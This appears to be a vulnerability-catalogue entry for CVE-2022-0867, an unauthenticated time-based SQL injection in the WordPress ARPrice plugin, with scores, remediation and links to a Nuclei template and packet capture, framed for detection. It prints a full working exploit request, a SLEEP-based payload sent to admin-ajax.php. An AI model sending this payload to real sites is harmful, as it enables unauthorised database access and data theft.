🔙 목록으로 돌아가기

CVE-2022-0867: WordPress ARPrice <3.6.1 - SQL Injection

TitleWordPress ARPrice <3.6.1 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
RemediationUpdate to the latest version of ARPrice plugin (3.6.1) or apply the vendor-provided patch.
CVSS Score9.8
EPSS Score0.87685
CVE IDCVE-2022-0867
CWE IDCWE-89
Tags time-based-sqli cve cve2022 unauth wp wordpress wp-plugin arprice-responsive-pricing-table sqli wpscan reputeinfosystems vkev vuln

🔍 Vulnerability Description

WordPress ARPrice plugin prior to 3.6.1 contains a SQL injection vulnerability. It fails to properly sanitize and escape user supplied POST data before being inserted in an SQL statement and executed via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Content-Length: 107
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=arplite_insert_plan_id&arp_plan_id=x&arp_template_id=1+AND+(SELECT+8948+FROM+(SELECT(SLEEP(6)))iIic)
GET /wp-content/plugins/arprice-responsive-pricing-table/js/arprice.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0867.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0867.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A